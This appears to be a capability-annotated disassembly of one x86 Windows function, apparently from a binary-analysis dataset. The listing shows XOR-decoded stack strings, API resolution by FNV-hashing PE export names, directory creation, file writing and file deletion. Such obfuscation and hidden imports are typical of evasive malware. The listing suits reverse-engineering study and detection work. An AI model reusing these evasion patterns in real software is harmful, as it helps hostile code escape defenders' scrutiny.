Function at 0x4a87a0
Capabilities:
Create directory
Delete file
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1ac
mov eax, dword [0x4dc00c]
xor eax, esp
mov dword [esp + 0x1a4], eax
push ebx
mov bh, 0x5a
mov dword [esp + 0x18], ecx
mov cl, 0x1c
mov byte [esp + 0xc], 0
mov al, 0x2f
mov byte [esp + 4], bh
mov ah, cl
mov byte [esp + 0xc], 0
mov ch, 0x1f
mov dword [esp + 0xbc], 0
mov dl, 0xf
mov dword [esp + 0xc0], 0
mov dh, al
xor cl, bh
xor ch, bh
mov byte [esp + 6], cl
mov bl, 9
mov byte [esp + 0xa], ch
xor dl, bh
lea ecx, [esp + 5]
push ebp
xor al, bh
mov byte [esp + 0xb], dl
xor bl, bh
mov byte [esp + 9], al
xor ah, bh
mov byte [esp + 0xc], bl
xor dh, bh
mov byte [esp + 0xd], ah
push esi
xorps xmm0, xmm0
mov byte [esp + 0x13], dh
push edi
movups xmmword [esp + 0xb8], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a8830
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0xc0]
call fcn.004b8860
mov al, 0x13
mov byte [esp + 0x10], 0x5c
mov bh, al
mov byte [esp + 0x19], 0
xor al, byte [esp + 0x10]
mov cl, 0x69
mov ch, 0x16
mov byte [esp + 0x11], al
mov al, byte [esp + 0x10]
mov dl, 0x3b
xor cl, al
mov byte [esp + 0x19], 0
xor ch, al
mov byte [esp + 0x12], cl
mov dh, 0x64
mov byte [esp + 0x16], ch
mov bl, 0x6e
mov dword [esp + 0x98], 0
mov ah, 0x3d
mov dword [esp + 0x9c], 0
xor dl, al
lea ecx, [esp + 0x11]
xor dh, al
mov byte [esp + 0x13], dl
xor bl, al
mov byte [esp + 0x17], dh
xor ah, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x15], ah
xorps xmm0, xmm0
mov byte [esp + 0x18], bh
movups xmmword [esp + 0x88], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a88c8
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0x90]
call fcn.004b8860
mov byte [esp + 0x10], 0x4c
mov al, 0x7c
xor al, byte [esp + 0x10]
mov bl, 0x26
mov byte [esp + 0x11], al
mov cl, 9
mov al, byte [esp + 0x10]
mov ah, bl
xor cl, al
mov byte [esp + 0x1e], 0x7f
xor bl, al
mov byte [esp + 0x12], cl
xor ah, al
mov byte [esp + 0x1a], 0
mov ch, 5
mov byte [esp + 0x15], ah
xor ch, al
mov byte [esp + 0x14], bl
mov dl, 0x1a
mov byte [esp + 0x16], ch
xor dl, al
mov byte [esp + 0x1a], 0
mov dh, 0xd
mov byte [esp + 0x13], dl
xor dh, al
mov dword [esp + 0xb0], 0
mov bh, 0x3e
mov byte [esp + 0x17], dh
xor bh, al
mov dword [esp + 0xb4], 0
mov al, byte [esp + 0x1e]
mov ecx, 1
xor al, byte [esp + 0x10]
xorps xmm0, xmm0
cmp dword [esp + 0xc8], ecx
mov byte [esp + 0x19], al
lea eax, [esp + 0xb8]
cmovb ecx, dword [esp + 0xc8]
cmp dword [esp + 0xcc], 0x10
push ecx
cmovae eax, dword [esp + 0xbc]
lea ecx, [esp + 0xa4]
push eax
mov byte [esp + 0x20], bh
movups xmmword [esp + 0xa8], xmm0
call fcn.004b8860
lea eax, [esp + 0x11]
push eax
lea ecx, [esp + 0xa4]
call fcn.004b8bf0
mov ecx, dword [esp + 0xb4]
mov bl, al
cmp ecx, 0x10
jb 0x4a89f2
mov edx, dword [esp + 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a89e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8ae0
push ecx
push edx
call fcn.004cc05d
add esp, 8
test bl, bl
je 0x4a8a5c
mov byte [esp + 0x10], 0x63
mov al, 7
xor al, byte [esp + 0x10]
mov ah, 0x17
mov byte [esp + 0x11], al
mov cl, 4
mov al, byte [esp + 0x10]
mov dl, 1
xor ah, al
mov byte [esp + 0x19], 0
mov ch, 0x31
mov byte [esp + 0x15], ah
mov dh, 0x12
mov byte [esp + 0x19], 0
xor cl, al
xor ch, al
mov bl, 0x20
mov byte [esp + 0x12], cl
mov bh, 0x3a
mov byte [esp + 0x16], ch
xor dl, al
lea ecx, [esp + 0x88]
xor bl, al
mov byte [esp + 0x13], dl
xor dh, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x17], dh
lea eax, [esp + 0x11]
mov byte [esp + 0x18], bh
push eax
call fcn.004b7600
mov ecx, dword [esp + 0x9c]
cmp ecx, 0x10
jb 0x4a8a94
mov edx, dword [esp + 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8a8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8ae0
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0xcc]
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0xf
mov byte [esp + 0x88], 0
cmp ecx, 0x10
jb 0x4a8af0
mov edx, dword [esp + 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8ae6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a8ae6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ch, 0xf
mov byte [esp + 0x16], 0
mov dl, 0x6a
mov byte [esp + 0x10], ch
mov ah, dl
mov byte [esp + 0x16], 0
xor ah, ch
xor dl, ch
mov cl, 0x21
mov byte [esp + 0x15], ah
xor cl, ch
mov byte [esp + 0x13], dl
mov byte [esp + 0x12], cl
mov al, 0x3e
xor al, ch
mov bl, 0x77
xor bl, ch
mov byte [esp + 0x11], al
cmp dword [0x4dc0f4], 8
mov ecx, 0x4dc0e0
mov eax, dword [0x4dc0f0]
cmovae ecx, dword [0x4dc0e0]
mov byte [esp + 0x14], bl
lea eax, [ecx + eax*2]
mov ecx, 0x4dc0e0
cmovae ecx, dword [0x4dc0e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0x7c]
call fcn.004b8460
mov edi, eax
mov byte [esp + 0x22], 0
mov al, 0x70
mov byte [esp + 0x22], 0
mov cl, 0x2c
mov byte [esp + 0x20], al
xor cl, al
cmp dword [0x4dc0f4], 8
mov eax, dword [0x4dc0f0]
mov byte [esp + 0x21], cl
mov ecx, 0x4dc0e0
cmovae ecx, dword [0x4dc0e0]
lea eax, [ecx + eax*2]
mov ecx, 0x4dc0e0
cmovae ecx, dword [0x4dc0e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0x34]
call fcn.004b8460
movaps xmm0, xmmword [0x4d7380]
mov esi, eax
movups xmmword [esp + 0x88], xmm0
mov dword [esp + 0x98], 0x3a347424
xor ecx, ecx
mov word [esp + 0x9c], 0x5025
mov byte [esp + 0x9e], 0
nop dword [eax + eax]
mov al, byte [esp + 0x88]
xor byte [esp + ecx + 0x89], al
inc ecx
cmp ecx, 0x15
jb 0x4a8be0
lea eax, [esp + 0x89]
mov byte [esp + 0x9e], 0
push eax
lea edx, [esp + 0x1c4]
lea ecx, [esp + 0x5c]
call fcn.004b82e0
add esp, 4
lea ecx, [esp + 0xb8]
push esi
push eax
push dword [esp + 0x2c]
call fcn.004b8c80
lea eax, [esp + 0x21]
push eax
lea edx, [esp + 0xbc]
lea ecx, [esp + 0x44]
call fcn.004b8400
add esp, 4
lea ecx, [esp + 0xa0]
push edi
push eax
push dword [esp + 0x2c]
call fcn.004b8c80
lea eax, [esp + 0x11]
push eax
lea edx, [esp + 0xa4]
lea ecx, [esp + 0xec]
call fcn.004b8400
mov ecx, dword [esp + 0xb8]
add esp, 4
cmp ecx, 0x10
jb 0x4a8caa
mov edx, dword [esp + 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8ca0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e2a
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0x54]
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0xf
mov byte [esp + 0xa0], 0
cmp ecx, 0x10
jb 0x4a8cfe
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8cf4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e2a
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0xcc]
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0xf
mov byte [esp + 0x40], 0
cmp ecx, 0x10
jb 0x4a8d4f
mov edx, dword [esp + 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8d45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e2a
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0x6c]
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0xf
mov byte [esp + 0xb8], 0
cmp ecx, 0x10
jb 0x4a8da3
mov edx, dword [esp + 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8d99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e2a
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0xf
mov byte [esp + 0x58], 0
cmp ecx, 0x10
jb 0x4a8dea
mov edx, dword [esp + 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8de0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e2a
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0x84]
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0xf
mov byte [esp + 0x28], 0
cmp ecx, 0x10
jb 0x4a8e3a
mov edx, dword [esp + 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8e30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a8e30
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004cc05d
add esp, 8
cmp dword [0x4dc0f4], 8
mov ecx, 0x4dc0e0
mov eax, dword [0x4dc0f0]
cmovae ecx, dword [0x4dc0e0]
lea eax, [ecx + eax*2]
mov ecx, 0x4dc0e0
cmovae ecx, dword [0x4dc0e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0x7c]
call fcn.004b8460
movaps xmm0, xmmword [0x4d7d00]
mov esi, eax
movups xmmword [esp + 0x88], xmm0
mov dword [esp + 0x98], 0x58561646
xor ecx, ecx
mov word [esp + 0x9c], 0x3247
mov byte [esp + 0x9e], 0
nop dword [eax]
mov al, byte [esp + 0x88]
xor byte [esp + ecx + 0x89], al
inc ecx
cmp ecx, 0x15
jb 0x4a8ea0
lea eax, [esp + 0x89]
mov byte [esp + 0x9e], 0
push eax
lea edx, [esp + 0x1c4]
lea ecx, [esp + 0x2c]
call fcn.004b82e0
add esp, 4
lea ecx, [esp + 0xd0]
push esi
push eax
push dword [esp + 0x2c]
call fcn.004b8c80
mov ecx, dword [esp + 0x3c]
cmp ecx, 0x10
jb 0x4a8f1b
mov edx, dword [esp + 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8f11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8f5b
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0x84]
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0xf
mov byte [esp + 0x28], 0
cmp ecx, 0x10
jb 0x4a8f6b
mov edx, dword [esp + 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8f61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a8f61
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004cc05d
add esp, 8
push 0xac
lea eax, [esp + 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x100], 0x4ce520
lea ecx, [esp + 0x168]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0x10c]
push eax
lea ecx, [esp + 0x10c]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0x100]
mov eax, dword [eax + 4]
mov dword [esp + eax + method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x100]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0xfc], eax
lea ecx, [esp + 0x104]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0x104]
mov dword [esp + method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x14c], 0
mov byte [esp + 0x141], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov ecx, dword [0x4dcc04]
mov dh, 0x21
mov eax, dword [0x4dcc00]
mov dl, 0x45
mov dword [esp + 0x148], ecx
mov bl, 0x4a
mov dword [esp + 0x144], eax
mov cl, 0x14
mov ch, cl
mov byte [esp + 0x10], dh
xor cl, dh
mov byte [esp + 0x17], 0
mov al, 0x71
mov byte [esp + 0x12], cl
mov ah, 0x46
mov dword [esp + 0x150], 0
xor al, dh
mov dword [esp + 0x13c], 0
xor dl, dh
mov byte [esp + 0x11], al
xor bl, dh
mov byte [esp + 0x13], dl
xor ah, dh
mov byte [esp + 0x14], bl
xor ch, dh
mov byte [esp + 0x15], ah
mov byte [esp + 0x16], ch
xorps xmm0, xmm0
lea ecx, [esp + 0x11]
mov byte [esp + 0x17], 0
movups xmmword [esp + 0xa0], xmm0
mov dword [esp + 0xb0], 0
lea edx, [ecx + 1]
mov dword [esp + 0xb4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a90a8
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0xa8]
call fcn.004b8860
mov byte [esp + 0x10], 0x52
mov al, 0x15
xor al, byte [esp + 0x10]
mov dl, 0x11
mov cl, 0x3d
mov byte [esp + 0x11], al
mov al, byte [esp + 0x10]
mov ch, 0x1a
mov bl, dl
mov byte [esp + 0x19], 0
xor cl, al
mov byte [esp + 0x19], 0
xor ch, al
mov byte [esp + 0x12], cl
mov dh, 0x2a
mov byte [esp + 0x16], ch
mov ah, 1
mov dword [esp + 0x98], 0
xor dl, al
mov dword [esp + 0x9c], 0
xor dh, al
mov byte [esp + 0x13], dl
mov bh, 0x25
mov byte [esp + 0x17], dh
xor bl, al
lea ecx, [esp + 0x11]
xor ah, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x15], ah
xorps xmm0, xmm0
mov byte [esp + 0x18], bh
movups xmmword [esp + 0x88], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a9140
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0x90]
call fcn.004b8860
mov byte [esp + 0x10], 0x13
mov al, 0x40
xor al, byte [esp + 0x10]
mov cl, 0x54
mov byte [esp + 0x11], al
mov ah, 0x62
mov al, byte [esp + 0x10]
mov bh, cl
xor ah, al
mov byte [esp + 0x19], 0
mov dl, 0x5c
mov byte [esp + 0x15], ah
mov ch, 0x78
mov byte [esp + 0x19], 0
mov dh, 0x52
xor cl, al
xor ch, al
mov byte [esp + 0x12], cl
mov bl, 0x5a
mov byte [esp + 0x16], ch
xor dl, al
lea ecx, [esp + 0x88]
xor bl, al
mov byte [esp + 0x13], dl
xor dh, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x17], dh
lea eax, [esp + 0x11]
mov byte [esp + 0x18], bh
push eax
call fcn.004b7600
mov bh, 0x11
mov byte [esp + 0x18], 0
mov ah, 0x5d
mov byte [esp + 0x10], bh
mov ch, ah
mov byte [esp + 0x18], 0
mov cl, 0x72
mov dl, 0x5b
mov al, 0x75
mov bl, 0x23
mov dh, 0x7e
xor cl, bh
xor dl, bh
mov byte [esp + 0x12], cl
xor ch, bh
mov byte [esp + 0x13], dl
xor al, bh
mov byte [esp + 0x16], ch
xor bl, bh
mov byte [esp + 0x11], al
xor ah, bh
mov byte [esp + 0x14], bl
xor dh, bh
mov byte [esp + 0x15], ah
mov byte [esp + 0x17], dh
lea edx, [esp + 0x11]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4a9210
mov edi, dword [esp + 0x9c]
lea eax, [esp + 0x11]
mov esi, dword [esp + 0x88]
sub edx, ecx
push edx
mov edx, dword [esp + 0x9c]
lea ecx, [esp + 0x8c]
cmp edi, 0x10
push eax
cmovae ecx, esi
call fcn.004b8ef0
add esp, 8
test al, al
je 0x4a92e5
mov byte [esp + 0x10], 0x18
mov al, 0x2c
xor al, byte [esp + 0x10]
mov cl, 0x21
xor cl, byte [esp + 0x10]
mov ah, 0x69
mov byte [esp + 0x11], al
mov ch, 0x5d
mov byte [esp + 0x12], cl
mov dl, 0x6a
mov cl, byte [esp + 0x10]
mov dh, 0x70
mov byte [esp + 0x1e], 0x62
xor ah, cl
mov al, byte [esp + 0x1e]
xor ch, cl
xor al, cl
mov byte [esp + 0x1f], 0x72
mov byte [esp + 0x19], al
mov bl, 0x20
mov al, byte [esp + 0x1f]
mov bh, 0x75
xor al, cl
mov byte [esp + 0x15], ah
mov byte [esp + 0x1a], al
xor dl, cl
xor bl, cl
mov byte [esp + 0x16], ch
xor dh, cl
mov byte [esp + 0x1b], 0
xor bh, cl
mov byte [esp + 0x13], dl
lea eax, [esp + 0x11]
mov byte [esp + 0x14], bl
push eax
lea ecx, [esp + 0xa4]
mov byte [esp + 0x1b], dh
mov byte [esp + 0x1c], bh
mov byte [esp + 0x1f], 0
call fcn.004b7600
mov edi, dword [esp + 0x9c]
mov esi, dword [esp + 0x88]
cmp edi, 0x10
jb 0x4a9311
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4a9307
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a935d
push ecx
push esi
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0xf
mov byte [esp + 0x88], 0
cmp ecx, 0x10
jb 0x4a936d
mov edx, dword [esp + 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a9363
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a9363
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004cc05d
add esp, 8
cmp dword [esp + 0xe4], 0x10
lea eax, [esp + 0xd0]
cmovae eax, dword [esp + 0xd0]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
cmp dword [esp + 0x100], 0x10
lea eax, [esp + 0xec]
push 0x22
cmovae eax, dword [esp + 0xf0]
lea ecx, [esp + 0x10c]
push eax
call fcn.004b8050
test eax, eax
lea ecx, [esp + 0x100]
mov eax, dword [esp + 0x100]
push 0
je 0x4a93d2
add ecx, dword [eax + 4]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
jmp 0x4a93dd
add ecx, dword [eax + 4]
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 0x100
call fcn.004cc06b
add esp, 4
mov dword [esp + 0x20], eax
cmp dword [esp + 0x150], 0
je 0x4a94b3
nop dword [eax]
mov edi, dword [0x4dc868]
xor ebx, ebx
mov ecx, dword [edi + 0x3c]
mov ebp, dword [ecx + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x9b12bd1e
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4a9442
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4a9425
cmp edx, 0xf5828172
je 0x4a9448
inc ebx
add esi, 4
jmp 0x4a9415
mov eax, dword [ebp + edi + 0x24]
push 8
push 4
lea eax, [eax + ebx*2]
mov ebx, dword [esp + 0x28]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
push ebx
push dword [esp + 0x30]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
cmp eax, 0xffffffff
je 0x4a9492
test eax, eax
jle 0x4a94b3
push 0
push 4
push ebx
lea ecx, [esp + 0x10c]
mov byte [ebx + eax], 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
jmp 0x4a9400
cmp dword [esp + 0xe4], 0x10
lea eax, [esp + 0xd0]
cmovae eax, dword [esp + 0xd0]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea ecx, [esp + 0x104]
call fcn.004b7b60
test eax, eax
jne 0x4a94dd
push eax
mov eax, dword [esp + 0x104]
lea ecx, [esp + 0x104]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [esp + 0x100]
call fcn.004a95f0
mov ecx, dword [esp + 0xe4]
cmp ecx, 0x10
jb 0x4a9525
mov edx, dword [esp + 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a951b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a95c7
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0xfc]
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0xf
mov byte [esp + 0xd0], 0
cmp ecx, 0x10
jb 0x4a957b
mov edx, dword [esp + 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a9571
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a95c7
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0x1d4]
mov dword [esp + 0xf8], 0
mov dword [esp + 0xfc], 0xf
mov byte [esp + 0xe8], 0
cmp ecx, 0x10
jb 0x4a95d7
mov edx, dword [esp + 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a95cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a95cd
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, dword [esp + 0x1b4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cbdc9
add esp, 0x1ac
ret